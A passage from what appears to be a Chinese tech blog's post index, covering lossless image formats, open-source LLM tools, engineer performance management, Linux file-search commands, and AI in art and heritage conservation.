从测试结果来看，与最优化的 PNG 相比，大多数现代无损图像格式（例如 WebP 和 JPEG XL）在效率上都有很大提高。\npng 使用 OxiPNG 优化 PNG 可以使它们稍微小一些，大约 12%，这并不是一个很大的差异。OxiPNG 速度非常快，处理一张图像只需大约 700 毫秒。\n将 Zopfli 设置与 OxiPNG 结合使用会使优化速度极其缓慢，平均需要大约 208 秒或三分半钟。与原始 PNG 相比，生成的文件大约小 18%。我不建议使用 Zopfli 压缩，因为它需要花费大量时间并且只能提供稍小的文件。WebP 或 JPEG XL 等较新的格式生成的文件要小得多，而且编码时间只是 Zopfli 的一小部分。\n由于 PNG 优化收益如此之小，并且该过程需要如此多的时间，因此如果能够使用更现代的格式，那么优化 PNG 文件可能根本不值得。即使未经优化，PNG 仍然是源图像格式的不错选择，因为它与图像编辑器和内容管理系统等大多数软件兼容。\n你可以将原始 PNG 文件转换为更有效的格式，然后再向最终用户显示。对于无法显示现代格式的客户端（例如某些电子邮件客户端和旧浏览器），PNG 也可以是一种有用的后备格式。\nwebp WebP 是无损图像的不错选择，因为它在压缩效率方面轻松胜过 PNG，平均图像小 41%。它也得到网络浏览器和其他软件的广泛支持。WebP 文件的编码速度也很快，压缩仅需约 3 秒。\nAVIF 不得不说，我对 AVIF 的表现有点失望。虽然有损 AVIF 确实需要很长时间来压缩，但与 JPEG 和 WebP 相比，它具有出色的压缩效果。不幸的是，无损 AVIF 却并非如此。\n在无损模式下，编码 AVIF 文件平均需要 30 秒，但与其他竞争格式相比，结果并不好。平均减少约 20%，生成的文件大小与使用 Zopfli 的 OxiPNG 相当，但与 WebP 或 JPEG XL 相比明显更大。使用 AVIF 时，我会坚持使用该格式效果最好的有损压缩。\nJPEG XL JPEG XL 是新近出现的格式，给人留下了深刻的印象。平均文件大小减少约 48%，略优于 WebP。从第 75 个百分位数来看，JPEG XL 比 WebP 具有优势，这意味着 JPEG XL 在处理难以压缩的复杂图像方面做得更好。\n然而这个兼容性吧。。。\n","date":"2024-07-22T06:17:58Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-22-wu-sun-tu-xiang-ge-shi-bi-jiao-png-webp-avif-he-jpeg-xl/cover.jpg","permalink":"/p/2024-07-22-wu-sun-tu-xiang-ge-shi-bi-jiao-png-webp-avif-he-jpeg-xl/","title":"无损图像格式比较：PNG、WebP、AVIF 和 JPEG XL"},{"content":"随着 AI 的普及，大家使用 AI 工具的时间越来越长了，尤其因为有了像 GPT-4o 和 Claude 这样强大的 LLM。\n今天，我将介绍 21 个开源 LLM 项目，它们可以帮助你构建令人兴奋的内容，并将人工智能集成到你的项目中。\nVanna - 与你的数据库聊天 “\n和你的数据库聊天( 利用 大模型和 RAG 技术将文本转换为 SQL 语句)\nVanna 是一个获得 MIT 许可的开源 Python RAG（检索增强生成）框架，用于 SQL 生成。\n基本上，它是一个 Python 包，它使用检索增强来帮助你使用 LLMs 为数据库生成准确的 SQL 查询语句。\n于像不太喜欢写 SQL 的开发人员来说它是完美的 ！\nVanna 的工作过程分为两个简单的步骤\n在你的数据上训练 RAG model 提问，返回 SQL 语句。这些 SQL 语句可以设置为在你的数据库上自动运行。 你不需要知道这整个东西是如何工作的就可以使用它。\n你只需 train 一个存储一些元数据的模型，然后将其用于 ask 问题。\n使用以下命令开始：\n1pip install vanna 已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长00:40\n0/0\n00:00/00:40\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n00:40\n00:40\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n开源大模型项目，助你效率提高 10 倍\n观看更多\nOriginal\n,\n开源大模型项目，助你效率提高 10 倍\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\n他们构建了用户界面，包括 Jupyter Notebook 和 Flask。\nKhoj - 你的人工智能第二大脑 Khoj 是一款开源的人工智能搜索助手。无需筛选在线结果或自己的笔记，即可轻松获得答案。\nKhoj 可以理解你的 Word、PDF、org-mode、markdown、纯文本文件、GitHub 项目，甚至 Notion 页面。\n它有桌面应用程序、Emacs 软件包、Obsidian 插件、Web 应用程序。Obsidian 和 Khoj 可能是最强大的组合！\n你可以使用以下命令在几分钟内开始在本地使用 Khoj。\n1pip install khoj-assistant 2khoj 一些令人兴奋的功能：\n可以分享你的笔记和文档以扩展你的数字大脑 人工智能代理可以访问互联网，让你能够整合实时信息 基于文档获得快速、准确的语义搜索 代理可以塑造深刻的个人形象并理解你的话，例如，你说：“根据我的兴趣，创作一幅我梦想之家的图片” 它就会画出这个： 它在 GitHub 上有 12k star，并得到了 YCombinator 的支持。\n已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长00:33\n0/0\n00:00/00:33\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n00:33\n00:33\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n开源大模型项目，助你效率提高 10 倍\n观看更多\nOriginal\n,\n开源大模型项目，助你效率提高 10 倍\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\nFlowise - 拖放 UI 来构建您的自定义 LLM 流程 Flowise 是一款开源 UI 可视化工具，用于构建定制的 LLM 编排流程和 AI 代理。\n可以使用以下 npm 命令在几分钟内开始使用 Flowise：\n1npm install -g flowise 2npx flowise start 3OR 4npx flowise start --FLOWISE_USERNAME=user --FLOWISE_PASSWORD=1234 以下是集成 API 的方式：\n1import requests 2 3url = \u0026#34;/api/v1/prediction/:id\u0026#34; 4 5def query(payload): 6 response = requests.post( 7 url, 8 json = payload 9 ) 10 return response.json() 11 12output = query({ 13 question: \u0026#34;hello!\u0026#34; 14)} 已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长00:17\n0/0\n00:00/00:17\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n00:17\n00:17\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n开源大模型项目，助你效率提高 10 倍\n观看更多\nOriginal\n,\n开源大模型项目，助你效率提高 10 倍\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\n","date":"2024-07-20T10:43:30Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-20-kai-yuan-da-mo-xing-xiang-mu-zhu-ni-xiao-l-ti-gao-10-bei/cover.jpg","permalink":"/p/2024-07-20-kai-yuan-da-mo-xing-xiang-mu-zhu-ni-xiao-l-ti-gao-10-bei/","title":"开源大模型项目，助你效率提高 10 倍"},{"content":"在软件工程领域，绩效管理一直是一个棘手的问题，复杂的变量和多变的需求使得这一过程更加困难。然而，有一个简单的规则可以有效地管理新团队成员的绩效：每周合并代码。\n绩效管理的核心原则 每周合并代码 这一规则不仅有助于避免经典的入职问题，还能有效地督促管理者和新员工，同时带来长期的积极效果。\n入职问题一：准备不足 如果你认为新员工在头两周内无法贡献代码，这意味着你没有为他们的到来做好准备。你应该找到一些简单的任务，让他们熟悉软件开发生命周期（SDLC）。项目经理通常会有一些未完成的小任务，这些任务可以让新员工快速上手。\n入职问题二：没有设定明确期望 如果你在第三个月才对新员工提出批评，并发现他们对你的期望毫不知情，这说明你没有在一开始设定明确的目标。应该确保他们从第一周起就开始提交代码，而不是浪费时间在无关的培训视频上。\n入职问题三：没有及时解决阻碍 如果新员工在一周的最后花费了15小时等待某些权限，而没有及时打扰你，这说明你没有告诉他们任务的重要性。下次，告诉他们每周的任务是优先事项，并授权他们将其作为首要任务。\n入职问题四：工作模糊不清 推动每周至少提交一次代码，可以强迫进行工作可行性的讨论。这有助于避免新员工陷入无法完成的任务。无论问题是工作安排还是他们的能力，都需要正视这个问题，并及时解决。\n新工程师的视角 作为新加入的工程师，你也应该遵循这一规则，并督促管理者为你提供支持。尽早在新的环境中提交代码，每次提交都会带来新的学习机会。延迟这些学习机会可能会显著影响你的短期、中期甚至长期表现。\n许多新工程师犯的最大错误是接受缓慢的工作节奏，包括编码、决策和测试等方面的缓慢。应该与高级工程师配对，仔细检查那些耗时的任务，并始终坚持每周提交代码的规则，假设任何阻碍都可以解决或应该解决。\n长期成功 这一每周提交代码的规则不仅适用于入职期，还应延续到之后的工作中。它可以帮助避免入职期问题的再现，并解决以下挑战：\n中级工程师承担大项目时，确保任务分解合理。 管理者需要跟踪和防止绩效下降。 防止资深工程师滑入过多咨询而执行不足的角色。一个优秀的资深工程师每年应能提交大约 50 个代码合并请求，同时进行高级设计和团队指导等工作。 提供简单的每周目标，以保持动力和专注。 适用其他职业 这一规则适用于许多职业。工作就是产出，延迟产出只会让人们更难学习如何完成他们被雇佣来做的工作。许多职业都有类似于技术债务和复杂系统的概念，越早通过实践突破这些障碍，人们就能越早开始理解系统。\n如果你是为外科医生设计入职计划，也许这一规则不适用。但对于其他人，尤其是那些在绩效管理方面遇到问题的人，可以考虑每周一个可交付成果的规则作为指导。\n应对批评 我的职业没有像代码合并这样的可交付成果：你的职业肯定有可交付成果。无论是外发邮件的目标、策略声明、编写 10 个待办事项卡片、撰写设计文档还是进行用户访谈，你的整个工作就是创造有形的价值。即使你的工作主要是抽象的，比如做决策，你也应该把它记录下来，这也是一种可交付成果。记录下来是扩展的关键。你不能像在电影中那样通过一对一的口头交流来管理一个初创公司。 希望这篇文章能为软件工程师和管理者提供有价值的见解，帮助他们在复杂的工作环境中实现高效的绩效管理。通过遵循每周提交代码的规则，团队成员可以更快地适应新环境，提升整体生产力，并在长期内实现持续成功。\n","date":"2024-07-17T00:33:43Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-17-ruan-jian-gong-cheng-shi-ji-xiao-guan-li-de-guan-jian-gui-ze/cover.jpg","permalink":"/p/2024-07-17-ruan-jian-gong-cheng-shi-ji-xiao-guan-li-de-guan-jian-gui-ze/","title":"软件工程师绩效管理的关键规则"},{"content":"在 Linux 系统中，查找文件和目录是日常操作中的一项重要任务。本文将详细介绍几种常用的查找命令，包括locate、whereis、which和find，帮助你在 Linux 系统中快速找到所需内容。\nlocate命令 locate命令通过搜索整个文件系统来查找包含特定关键词的所有文件。其基本用法如下：\nlocate 关键词 需要注意的是，locate命令依赖于一个每日更新的数据库，因此对于新创建的文件可能不会立即出现在搜索结果中。可以使用以下命令手动更新数据库：\nupdatedb 例如，查找aircrack-ng相关文件：\nlocate aircrack-ng whereis命令 在 Linux 系统中，二进制文件通常被称为可执行文件，如果你想要查找某个二进制文件，whereis命令比locate更高效。其用法如下：\nwhereis 二进制文件名 该命令会返回二进制文件的位置、其源代码以及相应的手册页（如果存在）。例如：\nwhereis aircrack-ng which命令 Linux 系统中的PATH变量包含了系统查找命令的目录列表。which命令用于在PATH变量中定位某个二进制文件。其基本用法如下：\nwhich 二进制文件名 如果在当前的PATH中找不到该二进制文件，则返回空。例如：\nwhich aircrack-ng 通常这些目录包括/usr/bin，但也可能包括/usr/sbin等其他目录。\nfind命令 find命令是最强大的查找命令，可以在指定目录中根据多种参数进行搜索。其基本语法如下：\nfind 目录 选项 表达式 假设我们有一个名为test.txt的文件，但不确定其所在目录，可以使用以下命令从文件系统的顶层开始搜索：\nfind / -type f -name test.txt 其中：\n/ 表示从文件系统的顶层开始搜索。 -type 表示要查找的文件类型，f代表普通文件，d代表目录，l代表符号链接等。 -name 表示要查找的文件名，结果将精确匹配。 搜索所有目录可能需要一些时间，我们可以通过指定目录来加快速度。例如，知道文件在home目录下：\ntime find /home -type f -name test.txt 我在这里使用了时间命令，所以我们可以看到每个命令花了多长时间。\nfind命令只显示精确匹配的文件名，如果文件名有不同的扩展名，则不会返回结果。例如，查找test.conf文件：\nfind /home -type f -name test.conf 可以通过使用通配符解决这个限制，通配符有几种形式：\n* 匹配多个字符，例如*at将匹配：cat, hat, what 和 bat。 ? 匹配单个字符，例如?at将匹配 cat, hat 和 bat，但不匹配 what。 [] 匹配方括号内的字符，例如[c,b]at将匹配 cat 和 bat。 例如：\nfind /home -type f -name test.* find命令还支持多种测试和操作符，例如查找权限不是 0600 的文件和权限不是 0700 的目录：\nfind ~ ( -type f -not -perm 0600 ) -or ( -type d -not -perm 0700 ) 该命令的含义是：查找所有权限不是 0600 的文件或权限不是 0700 的目录。\nfind ~ 查找~目录（home 目录）。 ( -type f -not -perm 0600 ) 使用括号将测试和操作符分组，-not表示结果为假时匹配，-not可以简写为!，所以这部分也可以写成( -type f ! -perm 0600 )。 -or 表示如果任一测试为真，则匹配，可以简写为-o。 ( -type d -not -perm 0700 ) 另一个测试，类似于第一个，只是类型为目录。 find命令功能强大，支持多种测试，建议深入了解。\n以上就是 Linux 系统中查找命令的介绍，希望能对你有所帮助。\n","date":"2024-07-15T09:21:31Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-15-linux-xi-tong-zhong-de-cha-zhao-ming-ling-xiang-jie/cover.jpg","permalink":"/p/2024-07-15-linux-xi-tong-zhong-de-cha-zhao-ming-ling-xiang-jie/","title":"Linux 系统中的查找命令详解"},{"content":"艺术杰作随时都有风险；人工智能和新技术可以助一臂之力\n近几个月来,人们一直在谈论人工智能如何从文本提示创建图像。因此,当人们将\u0026quot;人工智能\u0026quot;和\u0026quot;艺术\u0026quot;这两个词联系在一起时,人们立即想到了DALL-E、Stable Diffusion和其他算法。在本文中,我想讨论为什么艺术作品通常不如我们想象的那么安全,以及人工智能如何帮助保护它们。\n对美的仇恨:什么威胁着世界的记忆 ？ 人工智能想象的卢浮宫废墟\n“\n\u0026ldquo;每一个创造行为首先都是一个破坏行为。\u0026rdquo; ― 巴勃罗·毕加索\n\u0026ldquo;认为文化遗产是安全的,这是一个错误。人类最有价值的许多作品也是最脆弱的。纵观历史,只有一小部分艺术作品设法随着时间的推移得以保存下来。\n例如,在战争期间,文化遗产经常受到损害。在古代,掠夺新征服的领土被认为是常见做法,这一传统在殖民主义和拿破仑掠夺期间得以延续。此外,在第二次世界大战期间,大量艺术作品被损坏或永远丢失。几件作品被纳粹偷走(至今下落不明),而其他作品则在盟军对德国的轰炸中被摧毁。\n即使在今天,在叙利亚战争期间,像阿勒颇这样有数千年历史的城市也遭到了残酷的破坏(根据联合国的数据,超过70%的城市被毁)。更不用说恐怖组织摧毁和掠夺了巴尔米拉和伊拉克的博物馆(这些作品中有许多被转售以购买武器)。此外,即使在近期,独裁政权也经常破坏重要的艺术作品(塔利班摧毁的巴米扬佛像)。\n此外,许多作品在自然事件中被毁坏或损坏。地震或其他自然灾害等事件经常导致珍贵作品的丢失。在1966年11月4日的佛罗伦萨洪水中,数千件珍贵的古代手稿被泥浆覆盖并严重损坏(有些至今仍在修复中)。切马布埃的珍贵十字架,一件14世纪的作品,也受到洪水影响,需要精心修复。即使在今天,许多地区仍面临洪水风险,而acqua alta(高水位)现象对威尼斯构成威胁。\n佛罗伦萨洪水的图像。左图中，被洪水淹没的历史中心。中间的画面中，一些志愿者帮助将乌菲兹博物馆的画作运送到安全的地方。右图，志愿者在街上铲泥\n契马布埃的十字架，左为洪水破坏前，右为修复后\n在1755年摧毁里斯本的地震中,存放在皇家图书馆的大量珍贵古籍丢失(连同提香、鲁本斯、科雷吉奥和卡拉瓦乔的作品)。此外,许多作品在1734年马德里王宫大火中丢失(委拉斯凯兹、鲁本斯、博斯、布鲁盖尔、范戴克、埃尔·格列柯、达·芬奇、拉斐尔等人的无价之作)。即使在今天,像2018年巴西国家博物馆的火灾或2019年巴黎圣母院大教堂的火灾这样的事件仍然表明,这种破坏性事件仍然可能发生。\n此外,一些导致艺术品损坏的自然现象是由人类活动引起的。事实上,污染和气候变化使艺术和建筑遗产面临风险。例如,酸雨正在加速埃及狮身人面像的侵蚀,但对大理石建筑来说也是一个严重问题。人们认为,气温上升正在催化化学反应,增加历史建筑的损坏。\n左图显示 2019 年发生火灾的巴黎圣母院。中图显示火灾中的巴西博物馆。右图，哈佛大学每年冬天都会用防水罩包裹校园内的一些青铜和大理石雕像，以保护它们免受酸雨和酸雪的腐蚀\n也有一些意外事件导致艺术品丢失(飞机失事和其他形式的运输)。2006年,一名男子在菲茨威廉博物馆(剑桥)踩到松开的鞋带后摔倒,打碎了三个17世纪的中国花瓶。而在2010年,一名女子在大都会博物馆摔倒在一幅毕加索画作上,使其受损(这幅画估价1.3亿美元,被认为是他的杰作之一)。2000年,苏富比的一名员工用粉碎机处理了一个盒子,但盒子并不是空的,而是装着一幅卢西安·弗洛伊德的画作。\n此外,艺术品的忽视也是一个严重问题。壁画、古代绘画、雕像和纪念碑都是脆弱的作品,因此维护和修复是昂贵而精细的操作。2012年,西班牙一位业余修复者对一幅画的修复引起了轰动(但还有其他例子,如帕伦西亚的\u0026quot;土豆头\u0026rdquo;)。\n第一个面板是毕加索的《梦》，在一次拍卖中损坏。第二块展板是毕加索的画作《演员》，这幅画在纽约大都会艺术博物馆被一名坠落的女人损坏。第三幅和第四幅是埃利亚斯·加西亚·马丁内斯 (Elías García Martínez) 绘制的《Ecce Home》，是 2012 年修复的结果\n此外,我们还可以加上疏忽(如庞贝古城的倒塌)、破坏者和疯子(如损坏米开朗基罗的《圣母怜子图》的人)、艺术品贩运、经济利益(例如,在建造大坝时),以及其他原因。这就是为什么联合国教科文组织在审查世界遗产名录时,还保留了一个不那么著名的清单,其中包括了处于危险中的遗产地。\n破坏一件艺术品超越了作品本身的经济价值。无论是在古代还是现代,当它被有意为之时,都是为了抹去一个民族的记忆(无论是宗教还是文化)。在近代,这些相同的机制被用来摧毁波斯尼亚、叙利亚和阿富汗的考古遗迹(被认为违背宗教教义)。此外,这场辩论比以往任何时候都更加热门,例如,那些呼吁归还在殖民时期被盗物品的人(例如,著名的贝宁青铜器,它代表了该国的历史,并散落在欧洲博物馆中)声称。\n“\n\u0026ldquo;一个不了解自己过去历史、起源和文化的民族,就像一棵没有根的树。\u0026rdquo; — 马库斯·加维\n正如我们所看到的,遗产面临着来自自然现象的风险,但也面临着政治选择的风险,当用于保护的资金被削减时。我们每个人都有公民责任去保护我们的记忆,在我看来,这也延伸到了数据科学。事实上,人工智能的使用正变得越来越民主化,任何人都可以以较低的成本将其用于社会应用。\n左图：一件贝宁青铜器，现藏于大英博物馆。中幅是吉萨狮身人面像礼仪胡须的一部分，现藏于大英博物馆。右图是希腊要求归还的帕特农神庙大理石。\n简而言之,艺术作品是脆弱的,通常比人们想象的更容易受到威胁。科学和人工智能如何保护它们?\n人工智能拯救人类创造力 首先,新的科学调查技术让我们能够了解这些作品。即使是最伟大的艺术家也会从草图开始他们的作品,并经常在过程中重新思考。今天,我们有几种技术可以分析绘画作品(如X射线),这些技术不仅是非侵入性的,而且还能讲述作品的故事。然而,这些技术产生的数据往往难以解释(特别是当有几个重叠的图像时),因此开发了机器学习算法用于图像分析。\nX射线照射能够显示出底层素描或进行中的变化。例如,这显示了伦勃朗在他的杰作《织布工行会财务官》中多次微调了人物的构图。达·芬奇本人在画《岩间圣母》之前就画过天使和其他人物。虽然有时可能很容易识别艺术家的各种干预,但艺术家经常重画几次模式,产生几个重叠的图像。这些模式很难区分,人工智能有助于重建作品的不同阶段。\n伦勃朗的绘画及其射线照相\n人工智能在修复方面也被证明是有用的。例如,它已成功用于数字修复(照片、文章,甚至手稿)。剑桥的MACH实验室使用人工智能算法来识别手稿中的损坏并虚拟重建图像(这个过程被称为修复)。类似的技术已被用于重建受损照片、为黑白照片上色、重建壁画图像等。\n上面的面板：修复具有大面积损坏区域的大图像区域。该图像显示了损坏的设计（左）、修复域（中）和最终结果（右）。图片来源：这里。底部面板：照片的数字修复（修复之前和之后）\n作为一个有趣的例子,研究人员最近用人工智能重建并投影了伦勃朗的杰作《夜巡》原本的样子(这幅画在被移到另一个地方时被任意缩短了)。此外,这种技术可以用来重建被认为已经失传的作品:例如,著名的范·艾克兄弟的根特祭坛画(1432年)缺少两个镶板,研究人员使用卷积神经网络试图忠实地重建这两个镶板。\n失传画作的重建仍然是一个有争议的应用。事实上,当有人试图用人工智能重建失传的克里姆特画作时(1945年,克里姆特的三幅杰作不可挽回地丢失了),研究人员明确表示,这个想法不是要替代,而是给人一个已经永远失传的东西的概念。\n《神秘羔羊的崇拜》也被称为根特祭坛画\n人工智能的另一个有趣用途是通过算法对绘画进行认证。事实上,作品的估值是一个巨大的市场,而且经常不容易归属作品(特别是如果它是画家本人或他工作室里的人的作品)。最近,有人提出了一种方法,通过研究作品的地形,可以重建作者的签名。简而言之,记录表面高度信息(空间分辨率为50微米),然后通过卷积神经网络(CNN)传递,这样就可以研究笔触的差异。\n“\n许多著名艺术家,包括埃尔·格列柯、伦勃朗和彼得·保罗·鲁本斯,都雇用了规模和结构各不相同的工作室,以满足市场对他们艺术的需求。因此,需要无偏见和量化的方法来洞察有争议的工作室绘画归属。\n类似的方法可能对避免艺术品造假非常有用,甚至对于作品的年代和归属都有用。此外,能够识别作品签名的算法可以用来对抗艺术品贩运\n用于识别作者笔触风格的数据准备和分析工作流程\n人工智能更深入挖掘 人工智能及其应用也将对考古学和考古遗产产生影响。\n此外，X射线不仅限于绘画。事实上，研究人员还经常分析玻璃（例如，为了了解其工艺）、木乃伊和雕像等物体。此外，还经常使用其他技术，例如 CT 扫描。安提凯西拉装置（神秘的希腊神器）本身已经通过 X 射线进行了分析，以研究其可能的操作。在所有这些情况下，应用于图像分析的人工智能算法已被证明非常有用。\n另一个有趣的例子是重写：羊皮纸或书籍通过刮掉墨水而被擦除，然后再次重写（羊皮纸很昂贵，因此被抄写僧侣重复使用）。如今，可以使用成像技术重建被擦除的文本，使我们能够重新发现被认为丢失的古代杰作。最近，使用人工智能和 X 射线，可以转录并解码阿基米德重写本（其中包含两本被认为已丢失的阿基米德作品）\n左图：印第安纳波利斯艺术博物馆非洲松叶权力雕像的射线照片。右图：阿基米德重写本在不同光源下的图像，以进行分析\n公元 79 年可怕的火山喷发，大量的火山灰和火山灰覆盖了庞贝和赫库兰尼姆的城市。在这条毯子下面发现了一个有价值的纸莎草图书馆（纸莎草很少能在地中海气候下保存下来）。不幸的是，之前展开和破译它们的尝试导致了莎草纸的毁坏。幸运的是，新的成像技术使得分析它们成为可能，而无需展开它们。\n以色列恩戈地发现的一张有 1,700 年历史的希伯来羊皮纸已成功尝试使用 X 射线方法。不幸的是，虽然以色列卷轴含有在 X 射线下显示良好的金属墨水，但赫克拉努斯纸莎草纸是用碳基墨水书写的，这意味着“在 X 射线中，文字和纸莎草之间没有明显的对比”扫描”。为此，研究作者使用了能量更高的 X 射线以及人工智能。作者使用 3D 卷积神经网络来检测文本并对其进行解密。\n左边：赫库兰尼姆碎片的分析结果。右侧：训练神经网络以检测 CT 扫描数据中的碳墨水的系统概述\n图像分析还可用于发现未知的考古遗址。考古遗址的发现通常是偶然事件（出于其他原因进行挖掘）或需要昂贵的调查。事实上，激光雷达技术（用激光瞄准物体或表面）已成功用于探测新的考古遗址（因此在墨西哥发现了安加穆科遗址）。这项技术还被用来揭示吴哥景观的人为变化。因此，可以利用人工智能分析激光雷达、热图像和卫星图像，以监测考古遗址的状态并研究干预措施。\n过去，这些仪器安装在直升机或小型飞机上。然而如今，无人机越来越受欢迎，并且具有更大的灵活性。例如，一项研究项目使用无人机绘制庞贝遗址地图。绘制地图是验证哪些结构面临风险、跟踪现场演变并规划干预措施优先顺序的第一步。此外，无人机还可以用于水下考古等困难领域。\n正如我们所见，人工智能可以用来重建受损的画作。同样的方法也可用于马赛克等考古文物。最近发表的一篇论文提出了一种有趣的方法。作者测试了 OpenAI 的 DALL-E 的“outpainting”能力（AI 将不完整的图像作为输入并填充缺失的部分）。他们要么使用已经损坏的马赛克（图形和几何图案）进行测试，要么通过人为去除保存完好的马赛克的部分来进行测试，以便比较结果。\n方法和结果很有趣；它还通过在不同条件下进行尝试来利用现有算法。这证明了这些算法的灵活性和新兴特性。另一方面，正如作者指出的，结果并不总是令人兴奋：\n“\n然而，重建显示出一些错误，因此，在大多数情况下，它与手动重建的质量仍然相去甚远。当重新创建面部和存在裸体时，会获得最差的性能（这是由于 DALL-E 对图像内容的策略）。对于几何形状，性能似乎更好，但 DALL-E 在颜色再现和某些形状方面有一些限制，特别是当它们很小时。\n使用人工智能进行马赛克重建。在上面的面板中：亚马逊战役的马赛克原图（左）和人工智能重建的马赛克（右）。在下图中：原始马赛克（左）被人为损坏（中）并通过算法重建（左）。\n人工智能还可以用于对繁琐的任务进行分类和自动化。考古学家发现了数千件陶器（尤其是罗马陶器）碎片，分析数千件花瓶、双耳细颈瓶和盘子的碎片是一项乏味的工作。另一方面，所有这些碎片一旦被编目并研究它们之间的关系，可以为过去文明的日常生活提供有价值的信息。在剑桥，他们开发了一种算法，可以将碎片与数据库中的陶器剖面进行匹配。这种方法可以快速编目，然后通过其他算法研究考古遗址中各种类型陶瓷的分布。\n这种方法不仅限于罗马陶瓷。亚利桑那大学的研究人员使用类似的方法对古代普韦布洛陶瓷的设计和图案进行分类。\n考古学家经常发现铭文，但这些铭文往往在几个世纪的过程中遭到损坏，变得难以辨认。最近，DeepMind 推出了 Ithaca（之前称为 Pythia 的模型的后续版本），这是一种人工智能模型，能够在已损坏的文本中查找丢失的字符。DeepMind 的作者在最大的希腊铭文语料库之一上训练了他们的模型，以获得与人类铭文学家相似的结果。类似的方法也被尝试用于其他语言，例如斯基泰语、具有 3000 年历史的中国甲骨文和波斯楔形文字板。\n左图：古罗马陶器。中间面板：罗塞塔石碑（使象形文字得以破译的石碑）。右图：中国甲骨文\n虽然在已知语言（希腊语、拉丁语等）的情况下破译古代铭文并不容易，但也有语言丢失的情况。语言可以根据它们共有的特征（字母、词汇、语法、声音等）分为不同的语系。通常，语言有一个共同的词根（例如，新拉丁语言，拉丁语中的“aquam”，意大利语中的“acqua”，西班牙语中的“agua”），然后经历导致它们分歧的进化路径。这些原则已被语言学家用来寻找相似性和共同模式，以破译死亡语言。\n人工智能已被证明能够发现模式并发现相似之处。因此，人们尝试用这种方法来解码丢失的语言，例如 Ugaritic 或 Linear B。在这种情况下，作者使用了基于 LSTM 和嵌入的模型，并获得了一些有趣的结果。使用的方法只不过是在丢失的文本中查找具有已知标记的跨度。\n在上面的面板中：一块损坏的古希腊石碑讲述了卫城的故事，右侧是用皮提亚重建的铭文示例（正确时为蓝色，错误时为紫色）\n最后 近年来，人们在艺术数字化方面做出了巨大努力。主要博物馆（例如大都会博物馆）创建了包含绘画、书籍、雕像、物品、文物等的大型数据库。通常，公众和学者可以免费访问这些巨大的数字图书馆。各机构本身正在采取协调一致的举措。例如，欧盟制定了将巨大文化遗产数字化的指导方针。\n这些举措旨在实现藏品和文化遗产获取的民主化。事实上，博物馆中保存的许多作品，公众只需参观现场就可以看到。此外，博物馆只展示其藏品的一小部分（许多作品都存放在仓库中，除了罕见的展览外从未展出过），因此这些举措允许人们接触到通常看不到的作品。一方面，这些举措为想要研究这些作品的学者提供了宝贵的资源。另一方面，算法需要数据，这使得可以训练日益复杂的人工智能模型。\n然而，正如我们所见，保存在博物馆中的作品是精致的物品，随时可能丢失。无论是保护还是修复，都是一项重要而艰巨的工作。在这些任务中，人工智能可以提供帮助（监控、研究等等）。另一方面，技术需要得到政策和投资的支持，以保护遗产。\n尤其重要的是，人工智能近年来发展迅速，并且为日益强大的模型开辟了有趣的前景。事实上，正如我们所看到的，许多使用的模型都是卷积网络，它们已被证明对于涉及图像的任务是有效的。然而，机器学习的所有其他领域也可以使用。事实上，例如，无监督聚类可用于对陶瓷碎片进行分组。\n此外，第一个用于重建铭文和翻译死语言的模型是基于编码器-解码器和 LSTM。Pythia 也使用了相同的架构，但后来的 DeepMind Ithaca 文章已经基于类似 Transformer 的架构。由于视觉变换器被证明对成像有效，我们预计未来几年会有更多类似的模型。\n另一个值得注意的是，不一定需要为新任务开发新的复杂算法：正如我们所看到的，一些研究人员已经利用了可通过网站公开访问的 DALL-E。这表明许多可用的算法将来可以重新利用。\n除了人工智能功能的技术演示之外，它还开辟了真实的视角和影响。例如，拥有良好的数字图像是修复绘画或马赛克的第一步。此外，许多考古遗址人手不足，监测费用昂贵且存在问题。更不用说人工智能将能够帮助做出决策、优先考虑干预措施并降低成本。\n开放的道德问题当然仍然存在。应仔细对待马赛克所看到的结果。毕竟，模型有时不仅仅是重建历史，而且似乎是在重写历史。就像伦勃朗的画作一样，算法试图根据其掌握的数据进行猜测，事实上，展览策展人指出了原始部分和重建部分之间的分离。\n此外，卫星图像和激光雷达技术还发现了数千个尚未探索的新考古遗址。这些可能早在考古学家开始研究之前就被盗墓者挖掘出来了。尽管考虑发布数据很重要，但我们也必须谨慎行事。\n另一个棘手的问题是修复。自19世纪以来，每一项新技术都被用于修复，而没有考虑可能的损坏。例如，混凝土具有负载结构，有时会造成比预期更多的损坏。\n","date":"2024-07-14T03:16:54Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-14-ren-gong-zhi-neng-ru-he-bang-zhu-yi-shu-bao-hu/cover.jpg","permalink":"/p/2024-07-14-ren-gong-zhi-neng-ru-he-bang-zhu-yi-shu-bao-hu/","title":"人工智能如何帮助艺术保护"},{"content":"在 Linux 系统中，进程的生命周期是一个复杂而有趣的过程。本文将详细解析 Linux 进程的创建、运行、死亡以及相关机制。\n进程的诞生 